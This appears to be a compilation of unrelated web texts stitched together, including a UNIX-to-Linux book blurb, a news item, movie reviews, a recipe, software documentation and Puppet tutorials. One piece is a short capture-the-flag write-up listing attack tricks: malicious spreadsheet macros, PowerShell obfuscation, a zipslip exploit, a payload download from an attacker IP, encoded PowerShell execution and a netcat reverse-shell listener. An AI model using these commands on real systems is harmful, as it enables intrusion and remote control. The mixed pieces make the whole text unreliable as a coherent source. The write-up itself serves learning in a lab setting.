|
| Table of Contents | Index |
Port Your UNIX® Applications to Linux®Quickly, Efficiently, and Reliably Increasingly, developers, architects, and project managers face the challenge of porting their C, C++, and Java applications from UNIX® to Linux® environments. Now, there's a definitive, start-to-finish guide to porting applications from today's most widely used UNIX platforms: Solaris™, HP-UX, and AIX®.
Three of IBM's most-experienced Linux porting specialists lead you through your entire project: scoping, analysis, recoding, and testing. They present a start-to-finish porting methodology, realistic discussions of key porting tasks, and a questionnaire for assessing the work involved in any new project. You'll discover what Linux offers in terms of APIs, library functions, versioning, system features, and toolsand the implications for your project. Next, the authors address each individual UNIX® platform in detail, identifying specific porting challenges and best-practice solutions. Coverage includes
· Understanding the Linux environment: GNU binutils, Java environments, shells, packaging options, and more · Uncovering and addressing project unknowns, variables, and other risks · Handling specific platform differences: standards, compilers, linkers, versioning, system/library calls, threads, and more · Testing and debugging ported applications using the GNU debugger and Linux memory leak and performance tracing tools · Contains quick references to UNIX® and Linux APIs, compilers, and linker options, and a discussion of porting issues unique to IBM's POWER™ architecture
Whether you need a start-to-finish guide or a concise reference, you'll find this book an indispensable resource for all your UNIX®-to-Linux porting projects.
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‘Anti-India Propaganda’: Google Slammed for Allowing ‘Radical’ Sikh Secessionist App on Play Store
New Delhi (Sputnik): “Referendum 2020” is an online secessionist campaign, which aims to create a separate independent state of Khalistan for the Sikh community, launched by a US-based group called “Sikhs for Justice".
Google play - the official app store for Android apps on Google is facing the wrath of social media users after the app “2020 Sikh Referendum” was made available for download by users.
Social media users were miffed after coming across the app, listed on the Play Store as already having more than 1,000 downloads, and slammed the tech giant for allowing the radical extremist movement to be on its platform.
The free app asks its members to join their team 2020 for a “Punjab Independence Referendum”, with 27 countries, including the UK, US, Canada, Australia, and Pakistan, listed amongst others.
Several people have called it anti-India propaganda, while urging others to report it as “inappropriate” to have it taken down.
India’s Union Cabinet on 17 July 2019 banned "Sikhs for Justice", the separatist group, on the grounds of secessionism and carrying out alleged anti-national activities.
Recently, literature on Ghazwa-e-Hind, translated as “Holy War Against India” was also made available on Play Store. It is a term allegedly mentioned in an Islamic book saying that India will be conquered by Islamic forces.


The Re box created from 0xdf was retired later this day. I did solve the box after it was retired so now I am going to show you some key things I learned from this box. A list of these is here:
Sometimes smbmap may throw false postivies. I always try to use smbclient.
libreoffice calc also support macros, we can run malicious command from these docs.
We can use
Invoke-Obfuscation for powershell obfuscation
The famous yara rules I saw on twitter but never took the chance to search it. Yara rules are basically a way to search for some common strings you provide to yara in order to identify malicious programs/files.
I almost forgot about .ace files and winrar, and zipslip. This exploit was used on the box to go from one user to another.
UPX I used this tool to make chisel.exe a little bit smaller. I have seen this from ippsec
We can download file from powershell by using iwr -uri ip/file -outfile filename.evil
We can run base64 encoded powershell commands but we need to use convert the strings to utf16 little endian using the command: iconv -t utf-16le and then pipe it to base64. After we can run the command by using powershell -encodedcommand base64string==
Use rlwrap -nc -nvlp 7979 to have working arrow keys on windows.
WinPeas
Like LinEnum but for windows.
Thats all. I didn’t do the uninteded way. If you want to learn more goto 0xdf blog or see ippsec videos.


Shot of the light reflecting off objects.
Wide shot of the scene.
Shot showcasing the reflections in the glass.
A project for my 3D class. Living room was created and rendered in 3DS Max.
Give me a call or send me an email and I will get back to you as soon as possible!
807-620-4021
mrose6@confederationc.on.ca


Conway’s Game of Life was the first project I ever worked on that made me go through all the frustrating emotions that come with creating something as a first year computer science student. I could swear that I had never worked so hard and focus for so long on one single thing. However, I also remember the ecstasy and rush of overwhelming happiness that surged my body once I got it working! After that project I was told myself “Yeah, I kinda like this computer science.” I’m not sure why this particular project made things click for me but it did.
For those who don’t know what Conway’s Game of Life, let me lay it down for you. There are 4 rules:
- Any live cell with fewer than two live neighbors dies, as if by underpopulation.
- Any live cell with two or three live neighbors lives on to the next generation.
- Any live cell with more than three live neighbors dies, as if by overpopulation.
- Any dead cell with exactly three live neighbors becomes a live cell, as if by reproduction.
With those rules in mind, the user gets to pick the initial state of the live cells and see how they progress to the next generation. If you are strategic enough to create the right initial state, the game of life can continue on forever.
Here’s a demo of what I’m talking about.
Here’s the link to my repo.


MESSAGE IN A BOTTLE (1999)
Rating: 2.5 stars (out of 4.0) ******************************** Key to rating system: 2.0 stars - Debatable 2.5 stars - Some people may like it 3.0 stars - I liked it 3.5 stars - I am biased in favor of the movie 4.0 stars - I felt the movie's impact personally or it stood out ********************************* A Movie Review by David Sunga
Directed by: Luis Mandoki
Written by: Gerald Di Pego, adapted from the Nicholas Sparks novel
Starring: Kevin Costner, Robin Wright Penn, Paul Newman
Synopsis: Teresa (Robin Wright Penn) is a gorgeous, sexy, blond journalist who works in an office chock full of ultra slim, lonely Ally McBeal types all pining for a perfect man. One day Teresa finds an anonymous soulful, poetic letter in a bottle along the seashore. Her boss publishes it in the Chicago Tribune.
As a news project Teresa tracks the letter to its author Garret (Kevin Costner), who is not your average sweaty shantytown dock worker. Aside from being in dire need of a woman's nurturance to tend his emotional heartache, Garret builds his own ships and sails them, writes poetry, looks gorgeous in a yachting sweater, admires fine wine and romantic bonfires, loves children, and has a close relationship with a charming father who looks like Paul Newman.
Since soulful, hunky, eligible bachelors are hard to come by, Teresa makes herself available to Garret so they can pursue a romantic relationship. Teresa and Garret cuddle and couple and romance each other for a long time while the audience waits for the inevitable moment when Garret must stomach the unpleasant revelation that he was originally a news story and research task. Will love prevail for the power couple?
Opinion: MESSAGE IN A BOTTLE is a date flick whose protagonists have been around the marriage carousel once or twice. The bad news is that the movie is predictable, too long, and has an unsatisfying conclusion. The good news is that MESSAGE IN A BOTTLE offers ladies two screen hunks for the price of one. Newman steals the show with his one-liners as the charming father. And Costner is at his "aw shucks" cutest when he says little, plays tender, and wears hunky clothing. MESSAGE IN A BOTTLE is two hours of picturesque, seaside cinematography and satisfying if predictable romance - - tailor-made for ladies who are fans of Newman and Costner. But the ending is disappointing.
Reviewed by David Sunga February 7, 1999
Copyright © 1999 by David Sunga This review and others like it can be found at THE CRITIC ZOO: http://www.criticzoo.com email<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Preparation time
less than 30 mins
Cooking time
1 to 2 hours
Serves
Serves 4
Dietary
There’s nothing to compare to the light, fluffy texture of a steamed sponge pudding. Golden syrup is a classic addition, of course, but I love this version, which makes the most of the fragrant flavour of Scottish heather honey. Any other well-flavoured honey will work well too.
Butter a 1 litre/1¾ pint pudding basin. Put two tablespoons of the honey into the prepared basin (if the honey is very thick, warm it gently first to make it more liquid).
Put the remaining honey and all the other ingredients into a large bowl and beat together using an electric whisk. Start off slowly, then increase the speed and mix for two minutes until all the ingredients are well combined.
Pour the mixture into the pudding basin, on top of the honey.
Place a piece of baking parchment on a sheet of foil and make a large pleat in the middle, folding both sheets together (this allows for the pudding’s expansion as it cooks). Put the parchment and foil on top of the pudding, foil side up, and secure with string, looping the end of the string over the top of the pudding and tying it to form a handle that will enable you to lift the pudding in and out of the pan.
Place the basin in a large pan, and pour in enough boiling water to come halfway up the side of the basin. Put a lid on the pan and bring to a simmer. Lower the heat to maintain a simmer and let the pudding steam for 1¼ hours, until risen and springy to the touch. Top up the boiling water, if necessary, to prevent the pan boiling dry.
Remove the foil and parchment and run the tip of a small, sharp knife around the edge of the pudding to help release it. Turn onto a warmed plate and serve piping hot with custard or cream.


PRAYERS FOR THE FATIMA
CENTENARY AND MARIAN YEAR
QUEEN OF THE ROSARY, SWEET VIRGIN OF FATIMA,
WHO APPEARED IN THE LAND OF PORTUGAL AND
BROUGHT PEACE, BOTH INTERIOR AND EXTERIOR, TO
THAT ONCE SO TROUBLED COUNTRY.
WE BEG OF THEE, TO WATCH OVER OUR DEAR
HOMELAND AND TO ASSURE ITS MORAL, SPIRITUAL
AND ECONOMIC REVIVAL.
BRING BACK PEACE TO ALL NATIONS OF THE WORLD,
SO THAT ALL, AND OUR NATION IN PARTICULAR, MAY
BE HAPPY TO CALL THEE THEIR QUEEN AND THE
QUEEN OF PEACE.
OUR LADY OF THE ROSARY OF FATIMA, PRAY FOR OUR
COUNTRY.
 AMEN.
?
|


Check out our Merchandise below!
A Sweet Salmon Cookie Cutter!
Awesome T-shirt comes in all sizes
Salmon Cookie Stickers!


In 1943, McCulloch and Walter Pitts propose the first artificial neuron, the Linear Threshold Unit.
In the Linear Threshold Unit, $f$ is a step function: $f(x) = 1$ if $x>0$
| Sunny | Dry | $a$ | $y$ | $t$ |
|---|---|---|---|---|
| 1 (yes) | 1 (yes) | 1 | ||
| 1 (yes) | 0 (no) | 0 | ||
| 0 (no) | 1 (yes) | 0 | ||
| 0 (no) | 0 (no) | 0 |
| $w_0 =$ 0 | $w_1 =$ 0 | $b =$ 0 |


Who Am I?
I'm a young and motivated developer that always loves to learn!
What Am I Working On?
I am currently working on this website as well as working on an Android application to help plan easier collaboaration betweeen groups.
If I am not working feverishly on my school projects, you can find me creating android apps, making text adventure games, or teaching high schoolers the importance of coding.
Previous Experience
Baxter Credit Union, Summer 2016
Completely rewrote console applications in order to reduce dependencies on other systems.
Developed new structure of interfaces that reduced dependencies on third party vendors.
Developed applications using interfaces, dependency injection, and SQL to meet business needs.
Baxter Credit Union, Summer 2015
Worked to streamline and optimize communication between Web Banking and back end operations
Designed VB.net programs to automate the process of welcoming customers to the Credit Union


CrimPapers
Articles published on 10 March 2018
On 10 March 2018, 4 new articles were published in 3 journals.
Structural Characteristics of the Online Social Networks of Maltreated Youth and Offline Sexual Risk Behavior
Punishment and Human Dignity: Sentencing Principles For Twenty-First-Century America by Michael Tonry
The Psychological Effects of Solitary Confinement: A Systematic Critique by Craig Haney
Can We Identify Bad Cops Based on History? Base Rates of Historical Markers in Law Enforcement Pre-Employment Evaluations


[ht::head {Publish API}] You can programmatically create new entries on a RAMADDA server. There is a Java class, ucar.unidata.repository.RepositoryClient, that provides some of the facilities. You can also look at the ucar.unidata.repository.idv.RamaddaPublisher which is used within the IDV to publish content to RAMADDA. This class uses the ucar.unidata.repository.InteractiveRepositoryClient class that provides some GUI facilities (e.g., a folder JTree component).
Lets say you want to upload a file (e.g., test.png) to RAMADDA. First you need to establish a session with RAMADDA. You can just do a url get with:
https://<server>:<https port>/repository/user/login?output=xml&user.password=<password>&user.id=<user> Or if you don't have https: http://<server>/repository/user/login?output=xml&user.password=<password>&user.id=<user>The output=xml tells RAMADDA to return the result as xml.
The above request returns xml of the form:
<response code="ok"> sessionid </response>Or if there was an error:
<response code="error"> some error message </response>Subsequent posts to RAMADDA just require an extra argument:
sessionid=<sessionid>You can also use RepositoryClient code:
RepositoryClient client = new RepositoryClient(server, 80, "/repository", userId,password); String\[\] msg = { "" }; if (client.isValidSession(true, msg)) { System.err.println("Valid session"); } else { System.err.println("Invalid session:" + msg\[0\]); }Next, create an entry xml file that defines the entries you want to create.
Now, zip up this xml file along with the file you want to upload and then post the zipped file to:
http://<server>/repository/entry/xmlcreateInclude the arguments:
output=xml sessionid=<sessionid> file=thezipfileNote: an alternative way to specify the destination parent entry in the repository is to pass the entry id in as a URL argument:
group=some parent entry idIf you are not uploading files you can just post the xml file instead of the zip file. In that case instead of a file= attribute in the xml use url=, e.g.,:
<entries> <entry name="Some opendap url" type="file" id="0" url="the opendap url" parent="<some parent entry id>" </entries>Either way, you will get back the response xml with either code=ok and a list of the entry ids created:
<response code="ok"> <entry id="1219161636252_0.6145187911490728_17"/> </response>Or an error response:
<response code="error"> error message </response>Here is a longer version of an entries file:
<entries> <entry description="" east="-3.950" file="test.xidv" fromdate="2008-08-19 16:01:00 GMT" id="0" name="test.png" north="71.864" parent="<some parent entry id>" south="-7.926" todate="2008-08-19 16:01:00 GMT" type="file" west="-198.358"/> <entry east="-3.950" file="test.png" fromdate="2008-08-19 16:01:00 GMT" id="1" name="test.png - Product" north="71.864" parent="<some parent entry id>" south="-7.926" todate="2008-08-19 16:01:00 GMT" type="file" west="-198.358"/> <association from="0" name="generated product" to="1"/> </entries>With its response:
<response code="ok"> <entry id="1219161636252_0.5912686911125428_33"/> <entry id="1219161636252_0.34475975368841827_34"/> <association id="1219161636252_0.18087075533515407_35"/> </response>
[xml {So to add a "tag" metadata use the xml:... }]
[xml {If you have values that don't work as XML attributes due to their content or their length you can include them as tags. The encoded="false" says this is unencoded text. The default is encoded=true which implies the text is base64 encoded (see below).}]
[xml {A simple way to see the metadata xml is to create a folder or other entry in RAMADDA. Add a number of properties to it then do File->Export. Uzip the .zip file and look at the entries.xml Note: the contents of the attr tags are CDATA blocks of base64 encoded text. Base64 encoding of the text is the default and is what is expected when RAMADDA ingests this XML unless you have encoded=false.}] ...
[xml {}] ...


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{% block content %} {% endblock content %}
{# Date Picker #}


public final class AccountingChronologyBuilder
extends java.lang.Object
Accounting calendars require setup before use, given how they are used. The following information is required:
There are approximately 7 x 2 x 12 x 4 x 12/13 = 4032 combinations.
| Constructor | Description |
|---|---|
AccountingChronologyBuilder() |
Constructs a new instance of the builder.
|
| Modifier and Type | Method | Description |
|---|---|---|
AccountingChronologyBuilder |
endsOn(java.time.DayOfWeek endsOn) |
Sets the day-of-week on which a given Accounting calendar year ends.
|
AccountingChronologyBuilder |
inLastWeekOf(java.time.Month end) |
Sets the Gregorian/ISO month-end in which a given Accounting calendar year ends.
|
AccountingChronologyBuilder |
leapWeekInMonth(int leapWeekInMonth) |
Sets the month in which the leap-week occurs.
|
AccountingChronologyBuilder |
nearestEndOf(java.time.Month end) |
Sets the Gregorian/ISO month-end which a given Accounting calendar year ends nearest to.
|
AccountingChronology |
toChronology() |
Completes this builder by creating the
AccountingChronology . |
AccountingChronologyBuilder |
withDivision(AccountingYearDivision division) |
Sets how a given Accounting year will be divided.
|
public AccountingChronologyBuilder()
public AccountingChronologyBuilder endsOn(java.time.DayOfWeek endsOn)
endsOn
- The day-of-week on which a given Accounting calendar year ends.public AccountingChronologyBuilder nearestEndOf(java.time.Month end)
end
- The Gregorian/ISO month-end a given Accounting calendar year ends nearest to.public AccountingChronologyBuilder inLastWeekOf(java.time.Month end)
end
- The Gregorian/ISO month-end a given Accounting calendar year ends in the last week of.public AccountingChronologyBuilder withDivision(AccountingYearDivision division)
division
- How to divide a given calendar year.public AccountingChronologyBuilder leapWeekInMonth(int leapWeekInMonth)
leapWeekInMonth
- The month in which the leap-week occurs.public AccountingChronology toChronology()
AccountingChronology
.java.time.DateTimeException
- if the chronology cannot be built.Copyright © 2010–2018 ThreeTen.org. All rights reserved.


This application will help you know whether a triangle is isosceles, equilateral, scalene or NOT a triangle at all.
Now let us input some values and find out the different types of triangles. Try it below. Have fun and click find out for your results.


The options at the bottom of the page can be used to enable the MPPE encryption and MS-CHAP authentication protocols used by default by Windows clients. MPPE adds security to PPTP connections, but requires that both the PPP daemon and the operating system kernel support it. PPPd versions 2.4.2 and above have native MPPE support, while a patch exists for older versions. However, the actual configuration file options differ between these two PPPd versions. This module will always use the correct options though.


Members
rolesRouter.post() Sends a new role to the database
- Source:
rolesSchema defines the properties of a role
- Source:
users.virtual The virtual join for mongo that defines the matching fields between collections
- Source:
users Users schema that determines the properties of a user and virtually joins the collection with the roles schema
- Source:


AYN RAND: A SENSE OF LIFE
Reviewed by Harvey Karten, Ph.D. Strand Releasing Director: Michael Paxton Writer: Michael Paxton Cast: Sharon Gless (narrator)
Detractors of Ayn Rand--and there are many--say that the antidote to her allegedly malign ideals is her accent. Just listen to the heavy Russian overlay in the woman's speech and you'll intuit she's more than a tough cookie, but in reality a heavily armored person impervious to human sentiment. Is that what her philosophy, called "objectivism," is all about? After all, she admits several times during this long, well-edited documentary, that selfishness is the highest good! But to judge this philosophy by sound bites is to misunderstand her view of the world. To gain more than a bumper-sticker impression of the woman, you'd want to read a few of her novels, particularly her seminal work "Atlas Shrugged." The motion picture "Ayn Rand: A Sense of Self" which is directed, written and produced by Michael Paxton is an introduction, which will serve its purpose if it motivates the viewers to dip into her long works of fiction.
"Ayn Rand: A Sense of Life," is not unusual for its genre. It displays clips of interviews the author gave to such luminaries as Mike Wallace and Phil Donohue; some old black-and-white footage of scenes in Russia, New York and Chicago; actual clips from silent films and old talkies such as "Orphans of the Storm," "The Beggar Student," "Canadian Capers" "The Fountainhead" and "King of Kings;" some filmed moments of Ayn Rand in the company of Cecil B. DeMille, who had hired her as an extra not long after her arrival from Russia; and commentary from scholars who knew her work well, such as Harry Binswanger, Daniel E. Greene, Leonard Peikoff and John Ridpath; and some animation, particularly of railroad cars. In that sense it follows the path worn well by documentaries in general.
While considerable time has obviously been spent in organizing the material, little is particularly original or groundbreaking in the structure of this documentary. It follows a chronological organization, beginning with the subject's birth in 1905 in St. Petersburg, her voyage to America on a six- months' visa (which she parlayed into American citizenship courtesy of her marriage to actor Frank O'Connor), her meeting with DeMille, which provided her with the funds needed to survive, and her 1936 Broadway success "Night of January 16th," which enabled her to give up her days jobs and devote her time to writing.
If we were to try to sum up the main theme of this film in one word, nay just one letter, it would be the letter "I." Rand, who was born Alyssa Rosenbaum, despised collectivism, which she defines as the replacement of "I" with "we." To sacrifice one's self for the good of the state is anathema. The human being exists for his own happiness, and not for the pleasure of others. As an example, she cites the reality that I do not marry out of guilt feelings for another or to make a mate happy: I marry because I feel this partner can make ME happy. If my partner can make me happy, I will value him or her more than I would value my neighbor, and would gladly make sacrifices forthe good of my significant other, because such tribute would give ME a great sense of self-esteem and thus make me happier.
In a film of this length, Mr. Paxton would have done better to spend more time with Gary Cooper, Patricia Neal, Raymond Massey and Kent Smith. who portrayed characters from her principal movie. Perhaps a fifteen-minute interlude from King Vidor's 1949 film "The Fountainhead" would give the audience more insight into her world-view, that film centering on an idealistic architect's clash with the compromises of big business. This movie is only marginally successful in grappling with her ideas and the controversy that emanated from their circulation. We're all too likely to leave the theater with oversimplified views such as "I don't go for that woman: she's selfish" or "What's the big deal? You can't compare her simple convictions with those of Kierkegaard or Sorenson."
Still, "Ayn Rand: A Sense of Life," is likely to whet the thirst of the curious in the audience to pick up "Atlas Shrugged," which still sells 100,000 copies annually, and to wade through the eight-hundred odd pages if for no other reason than to find out who is John Galt. Not Rated. Running time: 141 minutes. (C) Harvey Karten 1998
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Facter is what gives Puppet it’s brains. It collects information about the computer it is run on and then passes it to the Puppet Master for use in manifests and can optionally be stored. I know, it doesn’t sound like the most earth shattering revelation of all time, but stop for a moment. Every time your current scripts need to taget a specific OS version or a machine with a certain bit of hardware, you need to code it directly into the script. If the method of extracting that information changes, you need to modify every single script that uses that method. With Facter, you’re editing one file, which is always up to date on the client. Anyway, that’s enough waffle from me. Let’s get started.
We’ve made quite a bit of progress with our Puppet install. We’ve already made Puppet do something useful with setting up an admin user, but let’s get back to being lazy - let’s get someone else to write the code.
Before reading this post, you really need to read part 1, part 2 and part 3 of the series.
Modules are little pre-built bits of Puppet code. They’re a good example of Puppet’s philosophy of convention over configuration - Puppet will assume your modules follow a set pattern. We’ll be using two of the available folders in modules today: files and manifests. Files are static files that Puppet will copy over to our client machine, and manifests will contain the Puppet code we’ve previously been putting into /etc/puppet/manifests/site.pp - whilst it’s been easy to put code into this file, it can become unwieldy when you have a few nodes to manage.
There are also loads of pre-built modules on the Puppet Forge - it’s one of these modules we’ll be using today.
In this post, we’ll do something pretty much all Mac admins will need to do - set up their admin user. Bust first, a little housekeeping.
Before reading this post, you really need to read part 1, part 2 and most importantly my post on building a Puppet Master with Vagrant. The Puppet Labs provided VM won’t cut it here, we need the latest version of Puppet on our Master. If you are using the same Mac / OS X VM that was previously hooked up to the Puppet Master VM, you will need to run the following command on the client - don’t worry, it will get new certificates from your very own Puppet Master:
sudo rm -rf /var/lib/puppet/ssl
Make sure your test Mac is pointing to the right server - unless you’ve changed your Vagrantfile, your Puppet Master’s IP address will be <IP_ADDRESS> - you will need to change your test Mac’s /etc/hosts file to reflect this change.
Updates from the previous post: Since the last post was published, Puppet version 3.1 has been released - the main bonus to Mac users is that the Puppet user and group are now created, so the manual Puppet run command is a little shorter. What was this:
sudo puppet agent --test --group 0
Can now be shortened to:
sudo puppet agent --test
As the Puppet user and group now exist, you no longer need to run Puppet as root. This creates another issue (the Puppet user is visible at the login screen despite it not being able to log in), but we’ll get around that in this article. Regardless, you want to install Puppet 3.1. Back to the main event.
First thing’s first, create your admin user. I’ve called mine “Local Administrator”, with a short name of “ladmin” and the very imaginative passord of “password”. Next open up a Terminal window on your puppetclient Mac and issue the following command:
sudo puppet resource user ladmin
You’ll see output similar to this:
That looks suspiciously like Puppet code. Let’s try it.
With the Vagrant based Puppet Master, the manifests file that previously lived at /etc/puppet/manifests is now located on your Mac at puppet/manifests (as is the modules folder, Vagrant takes care of linking it to the right place on the VM). Open up puppet/manifests/sites.pp in your favourite text editor (for the love of all that’s holy, please don’t use TextEdit. Try TextWrangler, or my current favourite Chocolat).
Save it, and then back on your client perform a Puppet run:
sudo puppet agent --test
Of course nothing has changed - that’s because your client’s configuration is how you have described it in site.pp. Try changing ladmin’s password in system preferences, then perform another Puppet run. You’ll see Puppet change the password right back.
Now we’ve got our Local Admin user working, it might be nice to hide it away from inquisitive users. The first step is to change our Local Admin’s UID to something lower than 500 - I like 404 (nerd joke), and then for good measure, we’ll move the home folder out of /Users and into /var.
That gets the home folder moved, now to actually hide the home folder. Add this just before the closing } (curly bracket) in your site.pp:
When you perform a Puppet run, you’ll notice that your command is run every time, regardless of whether it needs to. We only really need to run that when we change our Local Admin user. To do that, we’ll change two lines. When the Admin User changes, we’ll send a signal to the exec, and we’ll change the exec to only run when it is told to.
Save it, and perform a Puppet run on your client.You’ll notice that the defaults command is now only run when Puppet needs to modify the user.
Next time, we’ll be taking a look at Modules - pre-built bits of Puppet code that you can plug into your workflow to save you re-inventing the wheel.
Puppet is awesome. Until you deploy some code that worked locally, but for some reason didn’t when you put it onto your Puppet Master. Whoops.
So, you need a testing setup. But Puppet can take a while to keep configuring. Which is where Vagrant comes in. It it a tool which allows you to build virtual machines automatically (currently only with VirtualBox, but VMWare Fusion support is coming very soon). And the best part (for me, anyway) is that it uses Puppet to configure the VM (Puppet to configure your Puppet Master? All too meta for this time of the morning).
Anyway, that’s enough waffle - the Vagrant configuration is up on my GitHub.
If you are following along with my series on getting started with Puppet on OS X, you can replace the Puppet Labs provided VM with this setup (which would be a good idea, as the Enterprise version is a few versions behind the Open Source version, missing some features when managing Macs).
This testing setup includes:
A Puppet Master running using the built in web server (fine for testing, not enough poke for a production server)
Puppet Dashboard (we all love a GUI, right?)
PuppetDB (this will store data about your nodes, and then hooks into the Dashboard to display it)
Once those are installed, cd into the directory where you keep your code (mine lives in ~/Documents/Code), clone the repo and then tell Vagrant to bring the VM up.
cd ~/Documents/Code
git clone https://github.com/grahamgilbert/vagrant-puppetmaster.git
cd vagrant-puppetmaster
vagrant up
If you don’t have the base box Ubuntu box downloaded, Vagrant will pull it down for you and cache the clean VM for you. It will then make a copy, run the script that installs the latest version of Puppet, then run through the Puppet code that will configure the VM to be a Puppet Master for you. Once the VM is running, you can place your modules and manifests in puppet/modules and puppet/manifests, respectively. The dashboard is accessible at http://<IP_ADDRESS>:3000.
This VM is not suitable for production. I’ve made several tweaks to the configuration that makes it easier to test your code, but would be a security risk if used on a production server. Only use this configuration for testing. We’re also installing everything onto one VM - you probably want to separate this out into at least two boxes in production, maybe even three if you have a large deployment. Like I said, the idea here is to quickly set up a testing environment that behaves like our production environment.
Before reading this post, you really need to read part 1 - none of this will make sense without it!
Still with me? Let’s do finally do something with Puppet. SSH into your Puppet Master (if it’s IP has changed since you first did the setup, make sure you reflect this change in the Mac client’s /etc/hosts file) and navigate to /etc/puppet and list the directory’s contents:
cd /etc/puppet
ls -la
You’ll see a few directories here - we’re interested in two today - manifests and modules. Manifests will be where you describe your nodes, and the modules are the functional Puppet code.


Compose a logic circuit from simple gates and user-defined components, and calculate its output using a simple discrete event simulation.
The node-based editor is implemented using NBE.
Use the buttons to add components.
Drag the ports to create or modify connections.
Basic keyboard commands are supported (delete, undo, redo; copy/paste ist still a bit buggy)
In order to run a simulation on the main circuit, any complex components (MUX, XOR, NAND, etc.) must be rolled out, substituting them with simple gates (NOT, OR, AND).


Contributing to Open3D¶
The Open3D project was started by Qianyi Zhou and Jaesik Park. The project is developed and maintained by a community effort. To contribute to the project, you need to
Know how to use Open3D;
Know basic development rules such as coding style, issues, and pull requests;
Be willing to follow the guidelines in this page.
Issues and pull requests¶
The master
branch is used only for stable development versions of Open3D. Any code change is made through four steps using the issues and pull requests system.
An issue is opened for a feature request or a bug fix.
A contributor starts a new branch or forks the repository, makes changes, and submits a pull request.
Code change is reviewed and discussed in the pull request. Modifications are made to address the issues raised in the discussion.
One of the admins merges the pull request to the master branch.
Tip
Code review is known to be the best practice to maintain the usability and consistency of a large project. Though it takes some time at the beginning, it saves a lot of time in the long run. For new contributors, it can be viewed as a training procedure, in which an experienced contributor, as a reviewer, walks the new contributor through everything he needs to know.
Note
There is an exception for this rule. Small changes can be made directly to the master
branch, such as fixing typos, formatting documents, and fixing an obvious bug.
Maintain sanity of the project¶
Most importantly, do not break the build. Before submitting a pull request, make sure the project builds without any error or warning under the following toolchains:
Windows, Visual Studio 2015 update 3+, CMake 3.0+
OS X, Clang included in the latest Xcode, CMake 3.0+
Ubuntu 16.04, native gcc (4.8+ or 5.x), CMake 3.0+
For C++ code, it is recommended to use C++11 features. However, do not use C++14 or C++17 features since some of them are not properly supported by mainstream compilers.
For Python code, make sure it runs on both Python 2.7 and Python 3.x.
Note
The easiest way to start coding as a new contributor is to take an existing code snippet as reference and write some code similar to it.
Coding style¶
Consistent coding style is an important factor of code readability. Some principles:
Code itself is a document. Name functions and variables in a way they are self explanatory.
Be consistent with existing code and documents. Be consistent with C++ conventions.
Use common sense.
We generally follow the Google C++ Style Guide, with a few modifications:
Use 4 spaces for indent. Use two indents for a forced line break (usually due to the 80 character length limit).
Use
#pragma once
for header guard.All Open3D classes and functions are nested in namespace
open3d
.Avoid using naked pointers. Use
std::shared_ptr
andstd::unique_ptr
instead.C++11 features are recommended.
Another good reading for modern C++ coding style is C++ Core Guidelines
Automated style Checker¶
Open3D’s CI checks for code formatting based on the style specified in
.clang-format
for C++ files and .style.yapf
for Python files.
Please build the check-style
and apply-style
CMake target before submitting a pull request, or use your editor’s
clang-format
and yapf
integration to format the source code automatically.
Different clang-format
versions may produce slightly different
formatting results. For standardization, clang-format
version
5.0
shall be used.
Install clang-format¶
By default, the make system tries to detect either clang-format-5.0
or clang-format
from PATH.
Ubuntu¶
# Ubuntu 14.04
sudo apt update
sudo apt install wget software-properties-common -y
sudo wget -O - https://apt.llvm.org/llvm-snapshot.gpg.key | sudo apt-key add -
sudo apt-add-repository "deb http://apt.llvm.org/trusty/ llvm-toolchain-trusty-5.0 main"
sudo apt update
sudo apt install clang-format-5.0 -y
clang-format-5.0 --version
# Ubuntu 16.04
sudo apt update
sudo apt install clang-format-5.0
clang-format-5.0 --version
# Ubuntu 18.04
sudo apt update
sudo apt install clang-format-5.0
clang-format-5.0 --version
macOS¶
curl https://raw.githubusercontent.com/intel-isl/Open3D-3rdparty/master/clang-format/clang-format%405.rb -o $(brew<EMAIL_ADDRESS>brew install clang-format@5
clang-format --version
# (Optional) If another clang-format version was previously installed, we can keep
# both versions and switch the default to version 5
brew unlink clang-format
brew link clang-format@5
# (Optional) If you'd like to uninstall
brew uninstall clang-format@5
Alternatively, download the clang-5.0 macOS package from LLVM Download Page,
unzip and add the directory containing clang-format
to PATH
.
Windows¶
Download clang-5.0 Windows package from LLVM Download Page. During
installation, select the option which allows adding clang toolchains to
PATH
. After installation, open a CMD terminal and try
clang-format --version
Checking clang-format version¶
After installation, check clang-format
’s version with
# In most cases
clang-format --version
# Or, when installed as clang-format-5.0, e.g. on Ubuntu
clang-format-5.0 --version
and make sure that version 5.0
is installed.
Install YAPF¶
We use YAPF for Python formatting.
Different YAPF versions may produce slightly different formatting results, thus
we choose version 0.28.0
as the standard version to be used.
Install YAPF with
# For Pip
pip install yapf==0.28.0
# For conda
conda install yapf=0.28.0
You can also download YAPF and install it from source.
Checking and applying format¶
Ubuntu & macOS¶
After CMake config, to check style, run
make check-style
After CMake config, to apply proper style, run
make apply-style
Windows¶
After CMake config, to check style, run
cmake --build . --target check-style
After CMake config, to apply the proper style, run
cmake --build . --target apply-style


Tic Tac Toe
player 1:
computer:
Sorry, you lost...
Please try again.
Choose your weapon
X
or
O
?
You win! Play again?
Its a draw!


${require('./partials/_head.html')}
${require('./partials/_sidebar.html')}
${require('./partials/_topbar_no_search.html')}
RBAC Facets
Search
Search:
Ignore Case
Exact Match
Reveal Results
Search
Clear
Rule description
Nothing selected. Please select a node in the tree on the right hand side.
NOTE: RBAC Facets *ONLY* shows Roles/ClusterRoles in use i.e. assigned to a Subject!
${require('./partials/_footer.html')}
${require('./partials/_scripts.html')}


Projects
The following are hardware and software project I've done.
-
Nomad
This is a project of two people, where we built a web application to connect project owners with freelancers. I built the JSON hierarchy of our database that was used to handle users' information and project listings. I built routes to handle CRUD operation for user signup and freelancers posting.
-
Application Manager
